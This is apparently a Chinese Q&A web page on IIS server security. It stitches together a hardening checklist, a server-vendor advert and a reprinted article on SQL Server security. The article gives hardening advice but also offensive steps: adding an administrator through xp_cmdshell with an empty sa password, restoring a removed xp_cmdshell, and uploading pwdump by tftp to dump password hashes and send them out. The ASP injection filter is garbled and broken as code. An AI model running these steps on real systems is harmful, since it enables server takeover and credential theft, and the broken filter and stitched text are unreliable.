IIS高性能服务器安全设置的重要性是什么?

IIS高性能服务器安全设置的重要性是什么?,第1张

IIS高性能服务器安全设置的重要性在于首先是删除不必要的端口,服务和用户组和用户以及删除不必要的网站文件,特别是可以写入的程序文件。然后是给每个网站配置独立的访客账户,独立的数据库,独立的应用程序池以及给每个网站设置好读写权限再然后它还可写入的不能有执行权限,可执行的不能有写入权限和给服务器系统打好安全补丁。之后它可以给网站系统打好安全补丁,给网站做好安全备份和给服务器做好杀毒措施,最后它可以做好网站后台安全设置。【感兴趣的话点击此处,免费了解一下】

IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。IIS是企业识别体系重要的有机组成部分,是互联网时代企业必须关注的并进行有效管理的领域。是企业在互联网上的名片,能让企业更好的拥抱互联网时代。

亿万克为民族高科技制造企业领导者,自主知识产权,十大关键核心技术,为党政、金融、医疗、教育、电信、电力、交通和制造等各行业和领域的信息化发展和数字化转型提供安全可靠的自主创新解决方案。亿万克服务器真正做到了自主研发、能力内化、安全可信和安全可控。

从codered到nimda等 一大堆蠕虫把原来需要人工利用的漏洞都变成了程序自动利用了 大家还想去手工操作这些IIS漏洞么?让我们调整重心 去看看服务器常用的数据库吧

一般网站都是基于数据库的 特别是ASP PHP JSP这样的用数据库来动态显示的网站 很多网站可能多注意的是操作系统的漏洞 但是对数据库和这些脚本的安全总是忽略 也没有太多注意

从最比较普遍的脚本问题开始 这些都是老话题了 大家可以参考Hectic写的《关于数据库的简单入侵和无赖破坏 以天融信做例子》 该文章对从SQL脚本问题说得非常详细 对于脚本安全的解决 也可以通过过滤来实现 可以参考我以前写的 对于ASP来说 可以使用下面这个过滤函数:

Function Filter_SQL(strData) Dim strFilter Dim blnFlag Dim i strFilter= // @ _ exec declare 需要过滤的字符 可以自己添加 是分隔符

blnFlag=Flase 过滤标志 如果产生过滤 那么就是真 Dim arrayFilter arrayFilter=Split(strFilter ) For i= To UBound(arrayFilter) If Instr(strData arrayFilter(i))>Then blnFlag=True Exit For End If Next If blnFlag Then Response Redirect wrong asp 当发现有过滤操作时 导向一个预定页面 反正正常访问用不到的连接请求 总不是好事情 Else Filter_SQL=strData End If End Function  对于MS SQL Server数据库来说 安全问题不仅仅局限在脚本上了 天杀的微软的系统性很强 整个基于WINDOWS系统的应用都有很强的关联性 对SQL Server来说 基本可以把数据库管理和系统管理等同起来了 SQL Server默认的管理员帐号sa的密码是空的 这给多数NT服务器产生一个安全漏洞 小榕的SQLRCMD 就能够利用获得的数据库管理员帐号执行系统命令

在SQL Server中有很多系统存储过程 有些是数据库内部使用的 还有一些就是通过执行存储过程来调用系统命令

系统存储过程:xp_cmdshell 就是以操作系统命令行解释器的方式执行给定的命令字符串 它就具体语法是:xp_cmdshell

{ mand_string } [ no_output]

xp_cmdshell在默认情况下 只有 sysadmin 的成员才能执行 但是 sysadmin也可以授予其他用户这个执行权限 在早期版本中 获得 xp_cmdshell 执行权限的用户在 SQL Server 服务的用户帐户中运行命令 可以通过配置选项配置 SQL Server 以便对 SQL Server 无 sa 访问权限的用户能够在SQLExecutiveCmdExec Windows NT 帐户中运行 xp_cmdshell 在 SQL Server 中 该帐户称为 SQLAgentCmdExec 现在对于SQL Server 只要有一个能执行该存储过程的帐号就可以直接运行命令了

对于 NT 和 WIN 当用户不是 sysadmin 组的成员时 xp_cmdshell 将模拟使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帐户 如果代理帐户不能用 则 xp_cmdshell 将失败 所以即使有一个帐户是master数据库的db_owner 也不能执行这个存储过程

如果我们有一个能执行xp_cmdshell的数据库帐号 比如是空口令的sa帐号 那么我们可以执行这样的命令:

exec xp_cmdshell net user refdom /add

exec xp_cmdshell net localgroup administrators refdom /add

上面两次调用就在系统的管理员组中添加了一个用户:refdom

当我们获得数据库的sa管理员帐号后 就应该可以完全控制这个机器了 可见数据库安全的重要性

下面这些存储过程都是对Public可以执行的:

xp_fileexist 用来确定一个文件是否存在

xp_getfiledetails 可以获得文件详细资料

xp_dirtree 可以展开你需要了解的目录 获得所有目录深度

Xp_getnetname 可以获得服务器名称

还有可以操作注册表的存储过程 这些不是对Public可以执行的 需要系统管理员或者授权执行:

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread (对Public可以执行)

Xp_regremovemultistring

Xp_regwrite

SQL Server的安全配置

除跟着微软打满所有补丁外 还需要加强数据库的安全

首先 你需要加强象sa这样的帐号的密码 跟系统帐号的使用配置相似 一般操作数据库不要使用象sa这样的最高权限的帐号 而使用能满足你的要求的一般帐号

接着对扩展存储过程开始大屠杀 首先就是xp_cmdshell 还有就是上面那些一大堆存储过程 都drop吧 一般也用不着

执行:

use master

sp_dropextendedproc xp_cmdshell

去掉guest帐号 阻止非授权用户访问 去掉不必要的网络协议

加强对数据库登陆的日志记录 最好记录所有登陆事件 可以用下面的简单DOS命令来查看日志:

findstr /C: 登录 d:\Microsoft SQL Server\MSSQL\LOG\* *

用管理员帐号定期检查所有帐号 是否密码为空或者过于简单 比如下面的语句:

Use master

Select name Password from syslogins where password is null

用下面语句对所有帐号 检查对存储过程和扩展存储过程的执行权 提防不必要的执行权限扩散:

Use master

Select sysobjects name From sysobjects sysprotects Where

sysprotects uid = AND xtype IN ( X P ) AND sysobjects id =

sysprotects id

加强数据库的安全是非常重要的 有的数据库服务器是和WEB服务器隔离开的 这就同MAIL服务器一样 数据库的日志可能就基本很少去查看 这将会成为管理员的一个疏忽点 类似DNS MAIL等等 数据库服务器往往成为各种入侵的跳板

下面是一些关于数据库的问答和技巧:

获得SA权限后 却不能执行xp_cmdshell存储过程怎么办?

答:可能是已经把xp_cmdshell等扩展存储过程删除了 可以用这个存储过程把xp_cmdshell恢复

sp_addextendedproc xp_cmdshell xpsql dll

通过数据库用pwdump获得系统管理员密码

先上传一个pwdump

tftp i GET pwdump exe pwdump exe

tftp i GET lsaext dll lsaext dll

tftp i GET pwservice exe pwservice exe

pwdump outfile txt

tftp PUT outfile txt outfile txt

然后再用解密工具l pht等等破解这些密码

从数据库读取系统管理员密码

能读出加密的密码是NT的 administrator 帐号也不能做的 SQL Server能读出来是使用的LocalSystem帐号 这个帐号比administrator更高一级 可以使用下面这个存储过程 不过读出来的密码是经过加密后的 然后再解密吧

xp_regread

lishixinzhi/Article/program/SQLServer/201311/22471

有脚本权限设置安全 gettpostt head提交方式过滤注入安全 有iis后缀安全设置 有防止sql注入安全部署 可以sine安全做部署


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/626731.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-07-17
下一篇2023-07-17

发表评论

登录后才能评论

评论列表(0条)

    保存